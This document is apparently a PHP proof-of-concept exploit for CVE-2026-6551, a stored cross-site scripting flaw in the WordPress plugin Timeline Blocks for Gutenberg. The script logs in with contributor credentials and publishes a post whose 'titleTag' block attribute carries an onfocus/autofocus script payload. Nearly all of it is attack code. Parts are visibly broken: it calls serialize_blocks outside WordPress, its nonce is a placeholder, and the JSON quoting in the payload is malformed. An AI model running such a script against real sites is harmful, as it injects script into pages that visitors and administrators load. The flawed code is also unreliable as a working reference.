CVE-2026-6551: Timeline Blocks for Gutenberg <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute (timeline-blocks)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6551 - Timeline Blocks for Gutenberg <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute

$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor'; // Change to a valid contributor or higher user
$password = 'password';   // Change to the user's password

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);

// Step 2: Create a new post with the malicious block
// We construct the REST API request to simulate what the block editor does
$rest_url = $target_url . '/wp-json/wp/v2/posts';

// The payload: set the 'titleTag' attribute to an XSS vector
// WordPress stores block attributes as JSON inside the post content
$malicious_title_tag = '" onfocus="alert(1)" autofocus="true"'; // An attribute-based XSS

$blocks = [
    [
        'blockName' => 'timeline-blocks/tb-timeline-blocks',
        'attrs' => [
            'titleTag' => $malicious_title_tag,
            'content' => 'Fake timeline item'
        ],
        'innerContent' => ['']
    ]
];

$post_content = serialize_blocks($blocks); // This would be a real WP function; in practice we build JSON

// Since serialize_blocks is a WP function, we manually build the comment-delimited format
// but the block editor uses JSON. We'll craft a JSON-like structure that WP stores.
// Realistic approach: use the REST API directly with a raw content parameter.

$post_data = [
    'title' => 'CVE-2026-6551 Test Post',
    'content' => '<!-- wp:timeline-blocks/tb-timeline-blocks {"titleTag":"" onfocus=\"alert(1)\" autofocus=\"true""} --><!-- /wp:timeline-blocks/tb-timeline-blocks -->',
    'status' => 'publish',
    'categories' => [1]
];

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . get_nonce($ch, $target_url) // This function must retrieve a nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (curl_error($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    $decoded = json_decode($response, true);
    if (isset($decoded['id'])) {
        echo 'Post created successfully. Visit: ' . $decoded['link'] . "n";
        echo 'Payload triggered when the titleTag attribute is rendered.' . "n";
    } else {
        echo 'Failed to create post: ' . print_r($decoded, true) . "n";
    }
}

curl_close($ch);

// Helper function to get a nonce (simplified; in reality you'd scrape or use X-WP-Nonce header)
function get_nonce($ch, $target_url) {
    // This function would need to request the nonce from the REST API index
    // For simplicity, we assume the PoC runs in a context where nonce is available.
    return '1234567890'; // Placeholder
}